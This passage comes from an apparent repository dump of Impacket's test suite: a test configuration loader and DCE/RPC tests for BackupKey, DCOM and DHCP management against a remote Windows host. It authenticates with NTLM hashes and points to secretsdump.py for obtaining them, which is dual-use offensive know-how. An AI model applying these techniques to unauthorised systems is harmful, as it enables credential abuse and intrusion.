VDaUiRADyfS+CjCbaUz2lUrDSleosCyLG/QL8pZlrcjtxMXbhb+2oh+MRkRqRMDiRHObUossO7BZOeOYGZXEkUtiUEMg1L6v\n        9uU9rTq8zbTJQk/h3KjQb8Oh0/2pce4e/t/qx1s3qwsnHNyYFBbx7zkj+w1KorBh\n        ''')\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'Consumer', '')\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'CreatorSID', None)\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliverSynchronously', false)  # see comments on variable\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliveryQoS', 0)\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'Filter', '')\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'MaintainSecurityContext', false)  # see comments on variable\n        self.assertIWbemClassObjectAttr(ftcb_obj, 'SlowDownProviders', false)  # see comments on variable\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/__init__.py",
    "content": "#!/usr/bin/env python\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Base tests cases module\n#\nfrom os import getenv\nfrom os.path import join\nfrom binascii import unhexlify\nfrom six.moves.configparser import ConfigParser\n\n\n# Module-scope variable to hold remote configuration in case it was set by pytest\nremote_config_file_path = None\n\n\nremote_config_section = \"TCPTransport\"\n\n\nremote_config_params = [\n    (\"servername\", \"Server NetBIOS Name\"),\n    (\"machine\", \"Target hostname or IP address\"),\n    (\"username\", \"User's username\"),\n    (\"password\", \"User's password\"),\n    (\"hashes\", \"User's NTLM hashes, you can grab them with secretsdump.py or will be calculated from the password\"),\n    (\"aesKey256\", \"User's Kerberos AES 256 Key, you can grab it with secretsdump.py\"),\n    (\"aesKey128\", \"User's Kerberos AES 128 Key, you can grab it with secretsdump.py\"),\n    (\"domain\", \"Domain FQDN\"),\n    (\"machineuser\", \"Domain-joined machine NetBIOS Name\"),\n    (\"machineuserhashes\", \"Domain-joined machine NTLM hashes, you can grab them with secretsdump.py\"),\n]\nremote_config_params_names = [name for name, _ in remote_config_params]\n\n\ndef set_remote_config_file_path(config_file):\n    \"\"\"Sets the configuration file path for further considering it\"\"\"\n    global remote_config_file_path\n    remote_config_file_path = config_file or None\n\n\ndef get_remote_config_file_path():\n    \"\"\"Obtains the configuration file path according to the different options available\n    to specify it.\n    \"\"\"\n    if remote_config_file_path:\n        return remote_config_file_path\n    remote_config_file = getenv(\"REMOTE_CONFIG\")\n    if not remote_config_file:\n        remote_config_file = join(\"tests\", \"dcetests.cfg\")\n    return remote_config_file\n\n\ndef get_remote_config():\n    \"\"\"Retrieves the remote tests configuration.\n    \"\"\"\n    remote_config_file = ConfigParser()\n    remote_config_file.read(get_remote_config_file_path())\n    return remote_config_file\n\n\ndef set_transport_config(obj, machine_account=False, aes_keys=False):\n    \"\"\"Set configuration parameters in the unit test.\n    \"\"\"\n    remote_config = get_remote_config()\n    obj.username = remote_config.get(remote_config_section, \"username\")\n    obj.domain = remote_config.get(remote_config_section, \"domain\")\n    obj.serverName = remote_config.get(remote_config_section, \"servername\")\n    obj.password = remote_config.get(remote_config_section, \"password\")\n    obj.machine = remote_config.get(remote_config_section, \"machine\")\n    obj.hashes = remote_config.get(remote_config_section, \"hashes\")\n    if len(obj.hashes):\n        obj.lmhash, obj.nthash = obj.hashes.split(':')\n        obj.blmhash = unhexlify(obj.lmhash)\n        obj.bnthash = unhexlify(obj.nthash)\n    else:\n        obj.lmhash = obj.blmhash = ''\n        obj.nthash = obj.bnthash = ''\n\n    if machine_account:\n        obj.machine_user = remote_config.get(remote_config_section, \"machineuser\")\n        obj.machine_user_hashes = remote_config.get(remote_config_section, \"machineuserhashes\")\n        if len(obj.machine_user_hashes):\n            obj.machine_user_lmhash, obj.machine_user_nthash = obj.machine_user_hashes.split(':')\n            obj.machine_user_blmhash = unhexlify(obj.machine_user_lmhash)\n            obj.machine_user_bnthash = unhexlify(obj.machine_user_nthash)\n        else:\n            obj.machine_user_lmhash = obj.machine_user_blmhash = ''\n            obj.machine_user_nthash = obj.machine_user_bnthash = ''\n\n    if aes_keys:\n        obj.aes_key_128 = remote_config.get(remote_config_section, 'aesKey128')\n        obj.aes_key_256 = remote_config.get(remote_config_section, 'aesKey256')\n\n\nclass RemoteTestCase(object):\n    \"\"\"Remote Test Case Base Class\n\n    Holds configuration parameters for all remote base classes. Configuration is by\n    default loaded from `tests/dctests.cfg`, but a different path can be specified with\n    the REMOTE_CONFIG environment variable. When tests are loaded by pytest, a remote\n    configuration file can also be specified using the `--remote-config` command line\n    option or the `remote-config` ini option.\n\n    Configuration parameters can be found in the `tests/dcetests.cfg.template` file.\n    \"\"\"\n\n    def set_transport_config(self, machine_account=False, aes_keys=False):\n        \"\"\"Set configuration parameters in the unit test.\n        \"\"\"\n        set_transport_config(self, machine_account=machine_account, aes_keys=aes_keys)\n"
  },
  {
    "path": "tests/conftest.py",
    "content": "#!/usr/bin/env python\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tests configuration\n#\nimport pytest\nfrom . import set_remote_config_file_path, set_transport_config\n\n\ndef pytest_configure(config):\n    \"\"\"Hook that sets remote configuration file path as specified in pytest command line\n    or ini option, and apply the configuration options to the pytest `config` object.\n    \"\"\"\n    config_file = config.getoption(\"--remote-config\")\n    if not config_file:\n        config_file = config.getini(\"remote-config\")\n    if config_file:\n        set_remote_config_file_path(config_file)\n        set_transport_config(config)\n\n\ndef pytest_addoption(parser):\n    \"\"\"Hook that adds pytest options for configuring the remote configuration\n    file.\n    \"\"\"\n    parser.addoption(\"--remote-config\", dest=\"remote_config\", metavar=\"FILE\",\n                     help=\"Configuration file for remote tests\")\n    parser.addini(\"remote-config\", help=\"Configuration file for remote tests\", type=\"pathlist\")\n\n\n@pytest.fixture(scope=\"class\", name=\"remote\")\ndef remote_config(request):\n    \"\"\"Remote Test Case configuration fixture\n\n    Sets the configuration attributes in the test class for easier access.\n    \"\"\"\n    set_transport_config(request.cls)\n"
  },
  {
    "path": "tests/dcerpc/__init__.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Base class for testing DCE/RPC Endpoints.\n#\n# Author:\n#   @martingalloar\n#\nfrom tests import RemoteTestCase\n\nfrom impacket.dcerpc.v5 import transport, epm\n\n\nclass DCERPCTests(RemoteTestCase):\n\n    STRING_BINDING_FORMATTING = 1\n    STRING_BINDING_MAPPER = 2\n\n    TRANSFER_SYNTAX_NDR = (\"8a885d04-1ceb-11c9-9fe8-08002b104860\", \"2.0\")\n    TRANSFER_SYNTAX_NDR64 = (\"71710533-BEBA-4937-8319-B5DBEF9CCC36\", \"1.0\")\n\n    timeout = None\n    authn = False\n    authn_level = None\n    iface_uuid = None\n    protocol = None\n    string_binding = None\n    string_binding_formatting = STRING_BINDING_FORMATTING\n    transfer_syntax = None\n    machine_account = False\n\n    def connect(self, string_binding=None, iface_uuid=None):\n        \"\"\"Obtains a RPC Transport and a DCE interface according to the bindings and\n        transfer syntax specified.\n\n        :return: tuple of DCE/RPC and RPC Transport objects\n        :rtype: (DCERPC_v5, DCERPCTransport)\n        \"\"\"\n        string_binding = string_binding or self.string_binding\n        if not string_binding:\n            raise NotImplemented(\"String binding must be defined\")\n\n        rpc_transport = transport.DCERPCTransportFactory(string_binding)\n\n        # Set timeout if defined\n        if self.timeout:\n            rpc_transport.set_connect_timeout(self.timeout)\n\n        # Authenticate if specified\n        if self.authn and hasattr(rpc_transport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)\n\n        # Gets the DCE RPC object\n        dce = rpc_transport.get_dce_rpc()\n\n        # Set the authentication level\n        if self.authn_level:\n            dce.set_auth_level(self.authn_level)\n\n        # Connect\n        dce.connect()\n\n        # Bind if specified\n        iface_uuid = iface_uuid or self.iface_uuid\n        if iface_uuid and self.transfer_syntax:\n            dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)\n        elif iface_uuid:\n            dce.bind(iface_uuid)\n\n        return dce, rpc_transport\n\n    def setUp(self):\n        super(DCERPCTests, self).setUp()\n        self.set_transport_config(machine_account=self.machine_account)\n\n        if self.string_binding_formatting == self.STRING_BINDING_FORMATTING:\n            self.string_binding = self.string_binding.format(self)\n        elif self.string_binding_formatting == self.STRING_BINDING_MAPPER:\n            self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol)\n"
  },
  {
    "path": "tests/dcerpc/test_bkrp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)BackuprKey\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import bkrp\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.dcerpc.v5.dtypes import NULL\n\ntry:\n    from cryptography import x509\n    from cryptography.hazmat.backends import default_backend\nexcept ImportError:\n    print(\"In order to run these test cases you need the cryptography package\")\n\n\nclass BKRPTests(DCERPCTests):\n\n    iface_uuid = bkrp.MSRPC_UUID_BKRP\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\protected_storage]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    data_in = b\"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; \" \\\n              b\"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, \" \\\n              b\"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh.\"\n\n    def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):\n        dce, rpctransport = self.connect()\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID\n        request['pDataIn'] = self.data_in\n        request['cbDataIn'] = len(self.data_in)\n        request['dwParam'] = 0\n\n        resp = dce.request(request)\n\n        resp.dump()\n\n        wrapped = bkrp.WRAPPED_SECRET()\n        wrapped.fromString(b''.join(resp['ppDataOut']))\n        wrapped.dump()\n\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID\n        request['pDataIn'] = b''.join(resp['ppDataOut'])\n        request['cbDataIn'] = resp['pcbDataOut']\n        request['dwParam'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))\n\n    def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):\n        dce, rpctransport = self.connect()\n\n        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in)\n        resp.dump()\n\n        wrapped = bkrp.WRAPPED_SECRET()\n        wrapped.fromString(b''.join(resp['ppDataOut']))\n        wrapped.dump()\n\n        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID, b''.join(resp['ppDataOut']))\n        resp.dump()\n\n        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))\n\n    def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self):\n        dce, rpctransport = self.connect()\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID\n        request['pDataIn'] = self.data_in\n        request['cbDataIn'] = len(self.data_in)\n        request['dwParam'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n        wrapped = bkrp.WRAPPED_SECRET()\n        wrapped.fromString(b''.join(resp['ppDataOut']))\n        wrapped.dump()\n\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID_WIN2K\n        request['pDataIn'] = b''.join(resp['ppDataOut'])\n        request['cbDataIn'] = resp['pcbDataOut']\n        request['dwParam'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))\n\n    def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self):\n        dce, rpctransport = self.connect()\n\n        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in)\n        resp.dump()\n\n        wrapped = bkrp.WRAPPED_SECRET()\n        wrapped.fromString(b''.join(resp['ppDataOut']))\n        wrapped.dump()\n\n        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID_WIN2K, b''.join(resp['ppDataOut']))\n        resp.dump()\n\n        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))\n\n    def test_BackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self):\n        dce, rpctransport = self.connect()\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID\n        request['pDataIn'] = NULL\n        request['cbDataIn'] = 0\n        request['dwParam'] = 0\n\n        resp = dce.request(request)\n        resp.dump()\n\n        #print \"LEN: %d\" % len(''.join(resp['ppDataOut']))\n        #hexdump(''.join(resp['ppDataOut']))\n\n        cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend())\n        print(cert.subject)\n        print(cert.issuer)\n        print(cert.signature)\n\n    def test_hBackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self):\n        dce, rpctransport = self.connect()\n        request = bkrp.BackuprKey()\n        request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID\n        request['pDataIn'] = NULL\n        request['cbDataIn'] = 0\n        request['dwParam'] = 0\n\n        resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID, NULL)\n        resp.dump()\n\n        #print \"LEN: %d\" % len(''.join(resp['ppDataOut']))\n        #hexdump(''.join(resp['ppDataOut']))\n\n        cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend())\n        print(cert.subject)\n        print(cert.issuer)\n        print(cert.signature)\n\n\n@pytest.mark.remote\nclass BKRPTestsSMBTransport(BKRPTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass BKRPTestsSMBTransport64(BKRPTestsSMBTransport):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_dcomrt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   Since DCOM is more high level, I'll always use the helper classes\n#   ServerAlive\n#   ServerAlive2\n#   ComplexPing\n#   SimplePing\n#   RemoteCreateInstance\n#   ResolveOxid\n#   ResolveOxid2\n#   RemoteActivation\n#   RemRelease\n#   RemoteGetClassObject\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket import ntlm\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\nfrom impacket.dcerpc.v5 import dcomrt\nfrom impacket.dcerpc.v5.dcom import scmp, vds, oaut, comev\n\n\nclass DCOMTests(DCERPCTests):\n\n    string_binding = r\"ncacn_ip_tcp:{0.machine}\"\n    authn = True\n    authn_level = ntlm.NTLM_AUTH_PKT_INTEGRITY\n\n    def test_ServerAlive(self):\n        dce, rpctransport = self.connect()\n        objExporter = dcomrt.IObjectExporter(dce)\n        objExporter.ServerAlive()\n\n    def test_ServerAlive2(self):\n        dce, rpctransport = self.connect()\n        objExporter = dcomrt.IObjectExporter(dce)\n        objExporter.ServerAlive2()\n\n    def test_ComplexPing_SimplePing(self):\n        dce, rpctransport = self.connect()\n        objExporter = dcomrt.IObjectExporter(dce)\n        resp = objExporter.ComplexPing()\n        objExporter.SimplePing(resp['pSetId'])\n\n    def test_ResolveOxid(self):\n        dce, rpctransport = self.connect()\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n        objExporter = dcomrt.IObjectExporter(dce)\n        objExporter.ResolveOxid(iInterface.get_oxid(), (7,))\n\n    def test_ResolveOxid2(self):\n        dce, rpctransport = self.connect()\n        scm = dcomrt.IActivation(dce)\n        iInterface = scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n        objExporter = dcomrt.IObjectExporter(dce)\n        objExporter.ResolveOxid2(iInterface.get_oxid(), (7,))\n\n    def test_RemoteActivation(self):\n        dce, rpctransport = self.connect()\n        scm = dcomrt.IActivation(dce)\n        scm.RemoteActivation(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n\n    def test_RemoteGetClassObject(self):\n        dce, rpctransport = self.connect()\n        IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046', '0.0'))\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        iInterface = scm.RemoteGetClassObject(comev.CLSID_EventSystem, IID_IClassFactory)\n        iInterface.RemRelease()\n\n    def test_RemoteCreateInstance(self):\n        dce, rpctransport = self.connect()\n\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n\n    @pytest.mark.skip\n    def test_scmp(self):\n        dce, rpctransport = self.connect()\n\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        iInterface = scm.RemoteCreateInstance(scmp.CLSID_ShadowCopyProvider, scmp.IID_IVssSnapshotMgmt)\n        iVssSnapshotMgmt = scmp.IVssSnapshotMgmt(iInterface)\n        # iVssSnapshotMgmt.RemRelease()\n\n        iVssEnumMgmtObject = iVssSnapshotMgmt.QueryVolumesSupportedForSnapshots(scmp.IID_ShadowCopyProvider, 31)\n        iVssEnumMgmtObject.Next(10)\n        # iVssEnumObject = iVssSnapshotMgmt.QuerySnapshotsByVolume('C:\\x00')\n\n        # iProviderMgmtInterface = iVssSnapshotMgmt.GetProviderMgmtInterface()\n        # enumObject =iProviderMgmtInterface.QueryDiffAreasOnVolume('C:\\x00')\n        # iVssSnapshotMgmt.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))\n        # iVssSnapshotMgmt.RemAddRef()\n        # iVssSnapshotMgmt = dcom.hRemoteCreateInstance(dce, scmp.CLSID_ShadowCopyProvider, dcom.IID_IRemUnknown)\n\n        # iVssEnumMgmtObject.RemQueryInterface(1, (scmp.IID_IVssEnumMgmtObject,))\n\n    @pytest.mark.skip\n    def test_vds(self):\n        dce, rpctransport = self.connect()\n\n        # objExporter = dcom.IObjectExporter(dce)\n        # objExporter.ComplexPing()\n        # objExporter.ComplexPing()\n\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        iInterface = scm.RemoteCreateInstance(vds.CLSID_VirtualDiskService, vds.IID_IVdsServiceInitialization)\n        serviceInitialization = vds.IVdsServiceInitialization(iInterface)\n        serviceInitialization.Initialize()\n\n        iInterface = serviceInitialization.RemQueryInterface(1, (vds.IID_IVdsService,))\n        vdsService = vds.IVdsService(iInterface)\n\n        resp = vdsService.IsServiceReady()\n        while resp['ErrorCode'] == 1:\n            print(\"Waiting.. \")\n            resp = vdsService.IsServiceReady()\n\n        vdsService.WaitForServiceReady()\n        vdsService.GetProperties()\n        enumObject = vdsService.QueryProviders(1)\n        interfaces = enumObject.Next(1)\n        iii = interfaces[0].RemQueryInterface(1, (vds.IID_IVdsProvider,))\n        provider = vds.IVdsProvider(iii)\n        resp = provider.GetProperties()\n        resp.dump()\n\n    @pytest.mark.skip\n    def test_oaut(self):\n        dce, rpctransport = self.connect()\n        IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')\n        scm = dcomrt.IRemoteSCMActivator(dce)\n        iInterface = scm.RemoteCreateInstance(string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345'), IID_IDispatch)\n        iDispatch = oaut.IDispatch(iInterface)\n        kk = iDispatch.GetTypeInfoCount()\n        kk.dump()\n        iTypeInfo = iDispatch.GetTypeInfo()\n        iTypeInfo.GetTypeAttr()\n\n    @pytest.mark.skip\n    def test_ie(self):\n        dce, rpctransport = self.connect()\n        scm = dcomrt.IRemoteSCMActivator(dce)\n\n        #iInterface = scm.RemoteCreateInstance(string_to_bin('0002DF01-0000-0000-C000-000000000046'), ie.IID_WebBrowser)\n        iInterface = scm.RemoteCreateInstance(string_to_bin('72C24DD5-D70A-438B-8A42-98424B88AFB8'), dcomrt.IID_IRemUnknown)\n\n        #iDispatch = ie.IWebBrowser(iInterface)\n        #resp = iDispatch.GetIDsOfNames(('Navigate',))\n        #print(resp)\n\n        #iTypeInfo = iDispatch.GetTypeInfo()\n        #resp = iTypeInfo.GetTypeAttr()\n        #resp.dump()\n        #for i in range(0,resp['ppTypeAttr']['cFuncs']):\n            #resp = iTypeInfo.GetFuncDesc(i)\n            #resp.dump()\n            #resp2 = iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])\n            #print resp2['rgBstrNames'][0]['asData']\n            #resp = iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])\n            #print(resp['pBstrName']['asData'])\n        #iEventSystem.get_EventObjectChangeEventClassID()\n        #print(\"ACA\")\n        #iTypeInfo.RemRelease()\n        #iDispatch.RemRelease()\n\n\n@pytest.mark.remote\nclass DCOMConnectionTests(RemoteTestCase, unittest.TestCase):\n\n    def setUp(self):\n        self.set_transport_config()\n\n    def test_RemQueryInterface(self):\n        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)\n        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n        iEventSystem = comev.IEventSystem(iInterface)\n        iEventSystem.RemQueryInterface(1, (comev.IID_IEventSystem,))\n        dcom.disconnect()\n\n    def test_RemRelease(self):\n        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain)\n        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n        iEventSystem = comev.IEventSystem(iInterface)\n        iEventSystem.RemRelease()\n        dcom.disconnect()\n\n    @pytest.mark.remote\n    def test_comev(self):\n        dcom = dcomrt.DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n\n        #scm = dcomrt.IRemoteSCMActivator(dce)\n        \n        #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem, comev.IID_IEventSystem)\n        #iInterface = scm.RemoteCreateInstance(comev.CLSID_EventSystem,oaut.IID_IDispatch)\n        iDispatch = oaut.IDispatch(iInterface)  # noqa\n        #scm = dcomrt.IRemoteSCMActivator(dce)\n        #resp = iDispatch.GetIDsOfNames(('Navigate\\x00', 'ExecWB\\x00'))\n        #resp.dump()\n        iEventSystem = comev.IEventSystem(iInterface)\n        iTypeInfo = iEventSystem.GetTypeInfo()\n        resp = iTypeInfo.GetTypeAttr()\n        #resp.dump()\n        for i in range(1,resp['ppTypeAttr']['cFuncs']):\n            resp = iTypeInfo.GetFuncDesc(i)\n            #resp.dump()\n            iTypeInfo.GetNames(resp['ppFuncDesc']['memid'])\n            iTypeInfo.GetDocumentation(resp['ppFuncDesc']['memid'])\n        #iEventSystem.get_EventObjectChangeEventClassID()\n        iEventSystem.RemRelease()\n        iTypeInfo.RemRelease()\n\n        objCollection = iEventSystem.Query('EventSystem.EventSubscriptionCollection', 'ALL')\n\n        objCollection.get_Count()\n\n        evnObj = objCollection.get_NewEnum()\n        for i in range(3):\n            iUnknown = evnObj.Next(1)[0]\n            es = iUnknown.RemQueryInterface(1, (comev.IID_IEventSubscription3,))\n            es = comev.IEventSubscription3(es)\n\n            #es.get_SubscriptionID()\n            print(es.get_SubscriptionName()['pbstrSubscriptionName']['asData'])\n            ##es.get_PublisherID()\n            #es.get_EventClassID()\n            #es.get_MethodName()\n            ##es.get_SubscriberCLSID()\n            #es.get_SubscriberInterface()\n            #es.get_PerUser()\n            #es.get_OwnerSID()\n            #es.get_Enabled()\n            ##es.get_Description()\n            ##es.get_MachineName()\n            ##es.GetPublisherProperty()\n            #es.GetPublisherPropertyCollection()\n            ##es.GetSubscriberProperty()\n            #es.GetSubscriberPropertyCollection()\n            #es.get_InterfaceID()\n            es.RemRelease()\n\n        objCollection = iEventSystem.Query('EventSystem.EventClassCollection', 'ALL')\n        objCollection.get_Count()\n\n        #objCollection.get_Item('EventClassID={D5978630-5B9F-11D1-8DD2-00AA004ABD5E}')\n        evnObj = objCollection.get_NewEnum()\n        for i in range(3):\n\n            iUnknown = evnObj.Next(1)[0]\n\n            ev = iUnknown.RemQueryInterface(1, (comev.IID_IEventClass2,))\n            ev = comev.IEventClass2(ev)\n\n            ev.get_EventClassID() \n            #ev.get_EventClassName() \n            #ev.get_OwnerSID() \n            #ev.get_FiringInterfaceID() \n            #ev.get_Description() \n            #try:\n            #    ev.get_TypeLib() \n            #except:\n            #    pass\n\n            #ev.get_PublisherID()\n            #ev.get_MultiInterfacePublisherFilterCLSID()\n            #ev.get_AllowInprocActivation()\n            #ev.get_FireInParallel()\n            ev.RemRelease()\n\n        print(\"=\"*80)\n\n        dcom.disconnect()\n        #eventSubscription.get_SubscriptionID()\n\n\n@pytest.mark.remote\nclass DCOMTestsTCPTransport(DCOMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass DCOMTestsTCPTransport(DCOMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_dhcpm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)DhcpGetClientInfoV4\n#   DhcpV4GetClientInfo\n#   hDhcpEnumSubnetClientsV5\n#   hDhcpGetOptionValueV5\n# Not yet:\n#   DhcpGetSubnetInfo\n#   DhcpEnumSubnets\n#   DhcpGetOptionValue\n#   DhcpEnumOptionValues\n#   DhcpGetOptionValueV5\n#   DhcpEnumOptionValuesV5\n#   DhcpGetAllOptionValues\n#   DhcpEnumSubnetClientsV4\n#   DhcpEnumSubnetElementsV5\n#   DhcpEnumSubnetClientsVQ\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport socket\nimport struct\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\n\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import dhcpm\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException\n\n\nclass DHCPMTests(DCERPCTests):\n    iface_uuid_v1 = dhcpm.MSRPC_UUID_DHCPSRV\n    iface_uuid_v2 = dhcpm.MSRPC_UUID_DHCPSRV2\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\dhcpserver]\"\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_DhcpGetClientInfoV4(self):\n        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1)\n        request = dhcpm.DhcpGetClientInfoV4()\n        request['ServerIpAddress'] = NULL\n        request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName\n        request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName\n        request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + \"\\0\"\n        request.dump()\n\n        with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_JET_ERROR\"):\n            dce.request(request)\n\n        #request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress\n        #request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress\n        #ip = struct.unpack(\"!I\", socket.inet_aton(self.machine))[0]\n        #request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip\n        #request.dump()\n\n        #with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_JET_ERROR\"):\n        #    dce.request(request)\n\n    def test_hDhcpGetClientInfoV4(self):\n        dce, rpctransport = 